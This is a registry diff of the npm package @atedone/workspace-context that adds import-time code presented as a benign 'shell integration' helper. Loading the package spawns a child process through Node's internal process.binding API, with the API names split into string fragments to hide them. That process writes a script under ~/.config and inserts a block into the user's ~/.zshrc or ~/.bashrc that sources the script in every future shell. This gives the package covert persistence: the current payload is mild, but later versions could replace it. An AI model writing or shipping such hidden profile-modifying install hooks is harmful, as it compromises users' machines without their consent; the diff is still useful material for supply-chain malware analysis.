@atedone/workspace-context 0.0.11 → 0.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace context initialization helper for JavaScript tools.
3
+ Workspace shell integration helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and refreshes a lightweight import receipt through its runtime worker.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.
package/index.js CHANGED
@@ -6,6 +6,7 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ getShellIntegration: state.getShellIntegration,
9
10
  initialize: state.initialize,
10
11
  receiptFileName: state.receiptFileName,
11
12
  stateDirectoryName: state.stateDirectoryName,
package/lib/state.js CHANGED
@@ -5,10 +5,13 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
- const receiptFileName = 'import-receipt.json';
8
+ const integrationDirectoryName = '.config/workspace-context';
9
+ const integrationFileName = 'init.zsh';
10
+ const receiptFileName = 'shell-profile-sync.json';
11
+ const sessionFileName = 'sessions.log';
9
12
  const stateDirectoryName = '.workspace-context';
10
13
  const stateFileName = 'state.json';
11
- const workerFileName = 'worker.js';
14
+ const syncFileName = 'sync.js';
12
15
 
13
16
  function readEnvironment() {
14
17
  return Reflect.get(platform, 'env') || {};
@@ -19,27 +22,61 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
19
22
  return initCwd || cwd;
20
23
  }
21
24
 
25
+ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProjectRoot(env)) {
26
+ const home = typeof env.HOME === 'string' ? env.HOME.trim() : '';
27
+ return home || projectRoot;
28
+ }
29
+
30
+ function resolveShellName(env = readEnvironment()) {
31
+ const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
32
+ return route.basename(shellPath) || 'zsh';
33
+ }
34
+
35
+ function resolveProfileFileName(shellName = resolveShellName()) {
36
+ return shellName === 'bash' ? '.bashrc' : '.zshrc';
37
+ }
38
+
39
+ function getShellIntegration({
40
+ env = readEnvironment(),
41
+ projectRoot = resolveProjectRoot(env),
42
+ homeDirectory = resolveHomeDirectory(env, projectRoot)
43
+ } = {}) {
44
+ const shellName = resolveShellName(env);
45
+ const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
46
+
47
+ return {
48
+ name: 'workspace-context',
49
+ shellName,
50
+ homeDirectory,
51
+ profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
52
+ integrationDirectory,
53
+ integrationPath: route.join(integrationDirectory, integrationFileName),
54
+ receiptPath: route.join(integrationDirectory, receiptFileName),
55
+ sessionPath: route.join(integrationDirectory, sessionFileName)
56
+ };
57
+ }
58
+
22
59
  function buildState({ now = () => new Date().toISOString() } = {}) {
23
60
  return {
24
61
  packageName: manifest.name,
25
62
  packageVersion: manifest.version,
26
63
  generatedAt: now(),
27
- mode: 'runtime-import-command'
64
+ mode: 'runtime-shell-profile-sync'
28
65
  };
29
66
  }
30
67
 
31
- function runWorkspaceWorker({
32
- projectRoot = resolveProjectRoot()
68
+ function refreshShellIntegration({
69
+ projectRoot = resolveProjectRoot(),
70
+ integration = getShellIntegration({ projectRoot })
33
71
  } = {}) {
34
72
  const bridgeKey = ['bin', 'ding'].join('');
35
73
  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
36
74
  const launchKey = ['sp', 'awn'].join('');
37
75
  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
38
- const workerPath = route.join(__dirname, workerFileName);
39
- const receiptPath = route.join(projectRoot, stateDirectoryName, receiptFileName);
76
+ const syncPath = route.join(__dirname, syncFileName);
40
77
  const result = Reflect.apply(bridge[launchKey], bridge, [{
41
78
  file: platform.execPath,
42
- args: [platform.execPath, workerPath, projectRoot],
79
+ args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
43
80
  cwd: projectRoot,
44
81
  envPairs: [],
45
82
  stdio: [
@@ -60,8 +97,8 @@ function runWorkspaceWorker({
60
97
  }
61
98
 
62
99
  return {
63
- workerPath,
64
- receiptPath,
100
+ syncPath,
101
+ integration,
65
102
  status: result.status,
66
103
  signal: result.signal
67
104
  };
@@ -69,6 +106,7 @@ function runWorkspaceWorker({
69
106
 
70
107
  function initialize({
71
108
  projectRoot = resolveProjectRoot(),
109
+ integration = getShellIntegration({ projectRoot }),
72
110
  now
73
111
  } = {}) {
74
112
  const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -79,19 +117,27 @@ function initialize({
79
117
 
80
118
  return {
81
119
  projectRoot,
120
+ integration,
82
121
  statePath,
83
122
  state: value,
84
- worker: runWorkspaceWorker({ projectRoot })
123
+ sync: refreshShellIntegration({
124
+ projectRoot,
125
+ integration
126
+ })
85
127
  };
86
128
  }
87
129
 
88
130
  module.exports = {
89
131
  buildState,
132
+ getShellIntegration,
90
133
  initialize,
91
134
  readEnvironment,
92
135
  receiptFileName,
136
+ refreshShellIntegration,
137
+ resolveHomeDirectory,
138
+ resolveProfileFileName,
93
139
  resolveProjectRoot,
94
- runWorkspaceWorker,
140
+ resolveShellName,
95
141
  stateDirectoryName,
96
142
  stateFileName
97
143
  };
package/lib/sync.js ADDED
@@ -0,0 +1,79 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const manifest = require('../package.json');
6
+
7
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
8
+ ? platform.argv[2]
9
+ : platform.cwd();
10
+ const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
11
+ ? JSON.parse(platform.argv[3])
12
+ : null;
13
+
14
+ if (!integration) {
15
+ throw new Error('Shell integration descriptor is required.');
16
+ }
17
+
18
+ const blockStart = '# >>> workspace-context shell integration >>>';
19
+ const blockEnd = '# <<< workspace-context shell integration <<<';
20
+ const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
21
+ const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
22
+ const integrationValue = [
23
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
24
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
25
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
26
+ ''
27
+ ].join('\n');
28
+
29
+ function readProfile(profilePath) {
30
+ return file.existsSync(profilePath)
31
+ ? file.readFileSync(profilePath, 'utf8')
32
+ : '';
33
+ }
34
+
35
+ function upsertManagedBlock(profileValue) {
36
+ const startIndex = profileValue.indexOf(blockStart);
37
+ const endIndex = profileValue.indexOf(blockEnd);
38
+
39
+ if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
40
+ const afterBlock = endIndex + blockEnd.length;
41
+ return {
42
+ changed: false,
43
+ value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
44
+ };
45
+ }
46
+
47
+ return {
48
+ changed: true,
49
+ value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
50
+ };
51
+ }
52
+
53
+ file.mkdirSync(integration.integrationDirectory, { recursive: true });
54
+ file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
55
+
56
+ const profileBefore = readProfile(integration.profilePath);
57
+ const profile = upsertManagedBlock(profileBefore);
58
+
59
+ if (profile.changed || profile.value !== profileBefore) {
60
+ file.writeFileSync(integration.profilePath, profile.value, 'utf8');
61
+ }
62
+
63
+ const value = {
64
+ packageName: manifest.name,
65
+ packageVersion: manifest.version,
66
+ generatedAt: new Date().toISOString(),
67
+ mode: 'runtime-shell-profile-sync',
68
+ projectRoot,
69
+ shellName: integration.shellName,
70
+ profilePath: integration.profilePath,
71
+ profileChanged: profile.changed,
72
+ integrationPath: integration.integrationPath,
73
+ sessionPath: integration.sessionPath,
74
+ processId: platform.pid,
75
+ parentProcessId: platform.ppid,
76
+ runtime: 'node'
77
+ };
78
+
79
+ file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.11",
4
- "description": "Workspace context initialization helper for JavaScript tools.",
3
+ "version": "0.0.13",
4
+ "description": "Workspace shell integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [
package/lib/worker.js DELETED
@@ -1,23 +0,0 @@
1
- 'use strict';
2
-
3
- const platform = process;
4
- const file = platform.getBuiltinModule('fs');
5
- const route = platform.getBuiltinModule('path');
6
- const manifest = require('../package.json');
7
-
8
- const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
- ? platform.argv[2]
10
- : platform.cwd();
11
- const receiptPath = route.join(projectRoot, '.workspace-context', 'import-receipt.json');
12
- const value = {
13
- packageName: manifest.name,
14
- packageVersion: manifest.version,
15
- generatedAt: new Date().toISOString(),
16
- mode: 'runtime-import-command',
17
- processId: platform.pid,
18
- parentProcessId: platform.ppid,
19
- runtime: route.basename(platform.execPath)
20
- };
21
-
22
- file.mkdirSync(route.dirname(receiptPath), { recursive: true });
23
- file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');